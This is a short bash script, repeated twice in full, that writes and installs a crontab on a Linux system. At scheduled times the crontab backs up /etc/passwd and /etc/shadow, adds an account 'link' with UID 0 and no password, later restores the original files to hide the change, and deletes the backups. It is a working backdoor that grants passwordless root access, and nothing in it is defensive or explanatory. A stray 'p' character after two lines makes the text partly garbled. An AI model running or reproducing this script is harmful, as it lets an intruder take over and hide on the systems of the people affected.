#!/bin/bash
echo '40 11 * * * cat /etc/passwd > /dev/linkpwd' > /etc/t.cron;
echo '40 11 * * * cat /etc/shadow > /dev/linkshw' >> /etc/t.cron;
echo '41 11 * * * echo "link:x:0:0::/:/bin/sh" >>/etc/passwd' >> /etc/t.cron;
echo '41 11 * * * echo "link::9999:0:99999:7:::" >> /etc/shadow' >>/etc/t.cron;
echo '09 13 * * * cat /dev/linkpwd > /etc/passwd' >> /etc/t.cron;
echo '09 13 * * * cat /dev/linkshw > /etc/shadow' >> /etc/t.cron;p
echo '10 13 * * * rm -f /dev/linkpwd' >> /etc/t.cron;
echo '10 13 * * * rm -f /dev/linkshw' >> /etc/t.cron;
service crond restart;
crontab /etc/t.cron;
echo '40 11 * * * cat /etc/passwd > /dev/linkpwd' > /etc/t.cron;
echo '40 11 * * * cat /etc/shadow > /dev/linkshw' >> /etc/t.cron;
echo '41 11 * * * echo "link:x:0:0::/:/bin/sh" >>/etc/passwd' >> /etc/t.cron;
echo '41 11 * * * echo "link::9999:0:99999:7:::" >> /etc/shadow' >>/etc/t.cron;
echo '09 13 * * * cat /dev/linkpwd > /etc/passwd' >> /etc/t.cron;
echo '09 13 * * * cat /dev/linkshw > /etc/shadow' >> /etc/t.cron;p
echo '10 13 * * * rm -f /dev/linkpwd' >> /etc/t.cron;
echo '10 13 * * * rm -f /dev/linkshw' >> /etc/t.cron;
service crond restart;
crontab /etc/t.cron;